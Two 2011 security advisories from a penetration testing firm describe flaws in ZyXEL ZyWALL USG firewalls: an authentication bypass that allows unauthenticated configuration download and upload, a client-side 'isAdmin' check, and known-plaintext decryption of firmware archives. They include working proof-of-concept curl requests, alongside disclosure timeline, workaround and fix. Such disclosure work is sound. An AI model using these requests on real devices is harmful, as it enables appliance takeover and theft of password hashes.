Advisory: Authentication Bypass in Configuration Import and Export of
          ZyXEL ZyWALL USG Appliances

Unauthenticated users with access to the management web interface of
certain ZyXEL ZyWALL USG appliances can download and upload
configuration files, that are applied automatically.


Details
=======

Product: ZyXEL USG (Unified Security Gateway) appliances
         ZyWALL USG-20
         ZyWALL USG-20W
         ZyWALL USG-50
         ZyWALL USG-100
         ZyWALL USG-200
         ZyWALL USG-300
         ZyWALL USG-1000
         ZyWALL USG-1050
         ZyWALL USG-2000
         Possibly other ZLD-based products
Affected Versions: Firmware Releases before April 25, 2011
Fixed Versions: Firmware Releases from or after April 25, 2011
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: http://www.zyxel.com/
Vendor Status: fixed version released
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2011-003
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

``The ZyWALL USG (Unified Security Gateway) Series is the "third
generation" ZyWALL featuring an all-new platform. It provides greater
performance protection, as well as a deep packet inspection security
solution for small businesses to enterprises alike. It embodies a
Stateful Packet Inspection (SPI) firewall, Anti-Virus, Intrusion
Detection and Prevention (IDP), Content Filtering, Anti-Spam, and VPN
(IPSec/SSL/L2TP) in one box. This multilayered security safeguards your
organization's customer and company records, intellectual property, and
critical resources from external and internal threats.''

(From the vendor's homepage)


More Details
============

During a penetration test, a ZyXEL ZyWALL USG appliance was found and
tested for security vulnerabilities.  The following sections first
describe, how the appliance's filesystem can be extracted from the
encrypted firmware upgrade zip files.  Afterwards it is shown, how
arbitrary configuration files can be up- and downloaded from the
appliance.  This way, a custom user account with a chosen password can
be added to the running appliance without the need of a reboot.


Decrypting the ZyWALL Firmware Upgrade Files
--------------------------------------------

Firmware upgrade files for ZyXEL ZyWALL USG appliances consist of a
regularly compressed zip file, which contains, among others, two
encrypted zip files with the main firmware.  For example, the current
firmware version 2.21(BQD.2) for the ZyWALL USG 20 ("ZyWALL USG
20_2.21(BDQ.2)C0.zip") contains the following files:

  -rw-r--r-- 1 user user 43116374 Sep 30  2010 221BDQ2C0.bin
  -rw-r--r-- 1 user user     7354 Sep 30  2010 221BDQ2C0.conf
  -rw-r--r-- 1 user user    28395 Sep 30  2010 221BDQ2C0.db
  -rw-r--r-- 1 user user   703402 Oct 12 17:48 221BDQ2C0.pdf
  -rw-r--r-- 1 user user  3441664 Sep 30  2010 221BDQ2C0.ri
  -rw-r--r-- 1 user user      231 Sep 30  2010 firmware.xml

The files 221BDQ2C0.bin and 221BDQ2C0.db are encrypted zip files that
require a password for decompression.  Listing the contents is
possible:

  $ unzip -l 221BDQ2C0.bin
  Archive:  221BDQ2C0.bin
    Length      Date    Time    Name
  ---------  ---------- -----   ----
   40075264  2010-09-15 06:32   compress.img
          0  2010-09-30 04:48   db/
          0  2010-09-30 04:48   db/etc/
          0  2010-09-30 04:48   db/etc/zyxel/
          0  2010-09-30 04:48   db/etc/zyxel/ftp/
          0  2010-09-30 04:48   db/etc/zyxel/ftp/conf/
         20  2010-09-14 14:46   db/etc/zyxel/ftp/conf/htm-default.conf
       7354  2010-09-14 14:46   db/etc/zyxel/ftp/conf/system-default.conf
          0  2010-09-30 04:48   etc_writable/
          0  2010-09-30 04:48   etc_writable/budget/
          0  2010-09-14 15:08   etc_writable/budget/budget.conf
          0  2010-09-15 06:28   etc_writable/firmware-upgraded
         81  2010-09-14 15:09   etc_writable/myzyxel_info.conf
        243  2010-09-14 15:03   etc_writable/tr069ta.conf
          0  2010-09-30 04:48   etc_writable/zyxel/
          0  2010-09-30 04:48   etc_writable/zyxel/conf/
        996  2010-09-15 06:28   etc_writable/zyxel/conf/__eps_checking_default.xml
      42697  2010-09-14 14:46   etc_writable/zyxel/conf/__system_default.xml
         95  2010-09-30 04:48   filechecksum
       1023  2010-09-30 04:48   filelist
        336  2010-09-30 04:48   fwversion
         50  2010-09-15 06:34   kernelchecksum
    3441664  2010-09-30 04:48   kernelusg20.bin
          0  2010-09-14 14:46   wtp_image/
  ---------                     -------
   43569823                     24 files

  $ unzip -l 221BDQ2C0.db
  Archive:  221BDQ2C0.db
    Length      Date    Time    Name
  ---------  ---------- -----   ----
          0  2009-07-29 04:44   db_remove_lst
          0  2010-09-15 06:28   etc/
          0  2010-09-15 06:35   etc/idp/
         39  2010-09-14 16:08   etc/idp/all.conf
         25  2010-09-14 16:08   etc/idp/attributes.txt
        639  2010-09-14 16:08   etc/idp/attributes_self.txt
        277  2010-09-14 16:08   etc/idp/device.conf
         39  2010-09-14 16:08   etc/idp/dmz.conf
         39  2010-09-14 16:08   etc/idp/lan.conf
         39  2010-09-14 16:08   etc/idp/none.conf
      60581  2010-09-14 16:08   etc/idp/self.ref
       5190  2010-09-14 16:08   etc/idp/self.rules
          0  2010-09-14 16:08   etc/idp/update.ref
          0  2010-09-14 16:08   etc/idp/update.rules
         39  2010-09-14 16:08   etc/idp/wan.conf
     445075  2010-09-14 16:08   etc/idp/zyxel.ref
        327  2010-09-14 16:08   etc/idp/zyxel.rules
          0  2010-09-14 16:05   etc/zyxel/
          0  2010-09-15 06:35   etc/zyxel/ftp/
          0  2010-09-15 06:35   etc/zyxel/ftp/.dha/
          0  2010-09-15 06:35   etc/zyxel/ftp/.dha/dha_idp/
          0  2010-09-15 06:35   etc/zyxel/ftp/cert/
          0  2010-09-15 06:35   etc/zyxel/ftp/cert/trusted/
          0  2010-09-15 06:35   etc/zyxel/ftp/conf/
         20  2010-09-14 14:46   etc/zyxel/ftp/conf/htm-default.conf
       7354  2010-09-14 14:46   etc/zyxel/ftp/conf/system-default.conf
          0  2010-09-15 06:35   etc/zyxel/ftp/dev/
          0  2010-09-15 06:35   etc/zyxel/ftp/idp/
          0  2010-09-15 06:35   etc/zyxel/ftp/packet_trace/
          0  2010-09-15 06:35   etc/zyxel/ftp/script/
       1256  2010-09-15 06:35   filelist
  ---------                     -------
     520939                     31 files

During a penetration test it was discovered that the file
"221BDQ2C0.conf" (from the unencrypted firmware zip file) has exactly
the same size as the file "system-default.conf" contained in each
encrypted zip.  This can be successfully used for a known-plaintext
attack[1] against these files, afterwards the decrypted zip-files can be
extracted.  However, please note that this attack only allows decrypting
the encrypted zip files, the password used for encrypting the files in
the first place is not revealed.

Among others, the following programs implement this attack:

 * PkCrack by Peter Conrad [2]
 * Elcomsoft Advanced Archive Password Recovery [3]

Afterwards, the file "compress.img" from "221BDQ2C0.bin" can be
decompressed (e.g. by using the program "unsquashfs"), revealing the
filesystem for the appliance.


Web-Interface Authentication Bypass
-----------------------------------

ZyWALL USG appliances can be managed over a web-based administrative
interface offered by an Apache http server.  The interface requires
authentication prior to any actions, only some static files can be
requested without authentication.

A custom Apache module "mod_auth_zyxel.so" implements the
authentication, it is configured in etc/service_conf/httpd.conf in the
firmware (see above). Several Patterns are configured with the directive
"AuthZyxelSkipPattern", all URLs matching one of these patterns can be
accessed without authentication:

  AuthZyxelSkipPattern /images/ /weblogin.cgi /I18N.js /language

The administrative interface consists of several programs which are
called as CGI scripts. For example, accessing the following URL after
logging in with an admin account delivers the current startup
configuration file:

  https://192.168.0.1/cgi-bin/export-cgi?category=config&arg0=startup-config.conf

The Apache httpd in the standard configuration allows appending
arbitrary paths to CGI scripts. The server saves the extra path in the
environment variable PATH_INFO and executes the CGI script (this can be
disabled by setting "AcceptPathInfo" to "off"[4]). Therefore, appending
the string "/images/" and requesting the following URL also executes the
"export-cgi" script and outputs the current configuration file:

  https://192.168.0.1/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf

During the penetration test it was discovered that for this URL, no
authentication is necessary (because the string "/images/" is included
in the path-part of the URL) and arbitrary configuration files can be
downloaded. The file "startup-config.conf" can contain sensitive data
like firewall rules and hashes of user passwords. Other interesting
config-file names are "lastgood.conf" and "systemdefault.conf".

The administrative interface furthermore allows uploading of
configuration files with the "file_upload-cgi" script.  Applying the
same trick (appending "/images/"), arbitrary configuration files can be
uploaded without any authentication.  When the chosen config-file name
is set to "startup-config.conf", the appliance furthermore applies all
settings directly after uploading.  This can be used to add a second
administrative user with a self-chosen password and take over the
appliance.


Proof of Concept
================

The current startup-config.conf file from a ZyWALL USG appliance can be
downloaded by accessing the following URL, e.g. with the program cURL:

 $ curl --silent -o startup-config.conf \
   "https://192.168.0.1/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf"

This file can be re-uploaded (e.g. after adding another administrative
user) with the following command, the parameter "ext-comp-1121" may need
to be adjusted:

 $ curl --silent -F ext-comp-1121=50 -F file_type=config -F nv=1 \
   -F "file_path=@startup-config.conf;filename=startup-config.conf" \
   https://192.168.0.1/cgi-bin/file_upload-cgi/images/


Workaround
==========

If possible, disable the web-based administrative interface or else
ensure that the interface is not exposed to attackers.


Fix
===

Upgrade to a firmware released on or after April 25, 2011.


Security Risk
=============

Any attackers who are able to access the administrative interface of
vulnerable ZyWALL USG appliances can read and write arbitrary configuration
files, thus compromising the complete appliance.  Therefore the risk is
estimated as high.


History
=======

2011-03-07 Vulnerability identified
2011-04-06 Customer approved disclosure to vendor
2011-04-07 Vendor notified
2011-04-07 First reactions of vendor, issue is being investigated
2011-04-08 Meeting with vendor
2011-04-15 Vulnerability fixed by vendor
2011-04-18 Test appliance and beta firmware supplied to
           RedTeam Pentesting, fix verified
2011-04-25 Vendor released new firmwares with fix
2011-04-29 Vendor confirms that other ZLD-based devices may also be
           affected
2011-05-04 Advisory released

RedTeam Pentesting likes to thank ZyXEL for the fast response and
professional collaboration.


References
==========

[1] ftp://utopia.hacktic.nl/pub/crypto/cracking/pkzip.ps.gz
[2] http://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html
[3] http://www.elcomsoft.com/archpr.html
[4] http://httpd.apache.org/docs/2.0/mod/core.html#acceptpathinfo


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.


-- 
RedTeam Pentesting GmbH                    Tel.: +49 241 963-1300
Dennewartstr. 25-27                        Fax : +49 241 963-1304
52068 Aachen                    http://www.redteam-pentesting.de/
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck


Advisory: Client Side Authorization ZyXEL ZyWALL USG Appliances Web
          Interface

The ZyXEL ZyWALL USG appliances perform parts of the authorization for
their management web interface on the client side using JavaScript. By
setting the JavaScript variable "isAdmin" to "true", a user with limited
access gets full access to the web interface.


Details
=======

Product: ZyXEL USG (Unified Security Gateway) appliances
         ZyWALL USG-20
         ZyWALL USG-20W
         ZyWALL USG-50
         ZyWALL USG-100
         ZyWALL USG-200
         ZyWALL USG-300
         ZyWALL USG-1000
         ZyWALL USG-1050
         ZyWALL USG-2000
         Possibly other ZLD-based products
Affected Versions: Firmware Releases before April 25, 2011
Fixed Versions: Firmware  Releases from or after April 25, 2011
Vulnerability Type: Client Side Authorization
Security Risk: medium
Vendor URL: http://www.zyxel.com/
Vendor Status: fixed version released
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2011-004
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

``The ZyWALL USG (Unified Security Gateway) Series is the "third
generation" ZyWALL featuring an all-new platform. It provides greater
performance protection, as well as a deep packet inspection security
solution for small businesses to enterprises alike. It embodies a
Stateful Packet Inspection (SPI) firewall, Anti-Virus, Intrusion
Detection and Prevention (IDP), Content Filtering, Anti-Spam, and VPN
(IPSec/SSL/L2TP) in one box. This multilayered security safeguards your
organization's customer and company records, intellectual property, and
critical resources from external and internal threats.''

(From the vendor's homepage)


More Details
============

Users with the role "limited-admin" are allowed to log into the
web-based administrative interface and configure some aspects of a
ZyWALL USG appliance.  It is usually not possible to download the current
configuration file, as this includes the password-hashes of all users.
When the "download" button in the File Manager part of the web interface
is pressed, a JavaScript dialogue window informs the user that this
operation is not allowed.  However, setting the JavaScript variable
"isAdmin" to "true" (e.g. by using the JavaScript console of the
"Firebug" extension for the Firefox web browser) disables this check and
lets the user download the desired configuration file.  It is also
possible to directly open the URL that downloads the configuration file.
The appliances do not check the users' permissions on the server side.


Proof of Concept
================

After logging into the web interface, set the local JavaScript variable
"isAdmin" to "true" and use the File Manager to download configuration
files.  Alternatively, the current configuration file (including the
password hashes) can also be downloaded directly by accessing the
following URL:

  https://192.168.0.1/cgi-bin/export-cgi?category=config&arg0=startup-config.conf


Workaround
==========

If possible, disable the web-based administrative interface or ensure
otherwise that the interface is not exposed to attackers.


Fix
===

Upgrade to a firmware released on or after April 25, 2011.


Security Risk
=============

This vulnerability enables users of the role "limited-admin" to access
configuration files with potentially sensitive information (like the
password hashes of all other users).  The risk of this vulnerability is
estimated as medium.


History
=======

2011-03-07 Vulnerability identified
2011-04-06 Customer approved disclosure to vendor
2011-04-07 Vendor notified
2011-04-08 Meeting with vendor
2011-04-15 Vulnerability fixed by vendor
2011-04-18 Test appliance and beta firmware supplied to
           RedTeam Pentesting, fix verified
2011-04-25 Vendor released new firmwares with fix
2011-04-29 Vendor confirms that other ZLD-based devices may also be
           affected
2011-05-04 Advisory released

RedTeam Pentesting likes to thank ZyXEL for the fast response and
professional collaboration.


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.

-- 
RedTeam Pentesting GmbH                    Tel.: +49 241 963-1300
Dennewartstr. 25-27                        Fax : +49 241 963-1304
52068 Aachen                    http://www.redteam-pentesting.de/
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck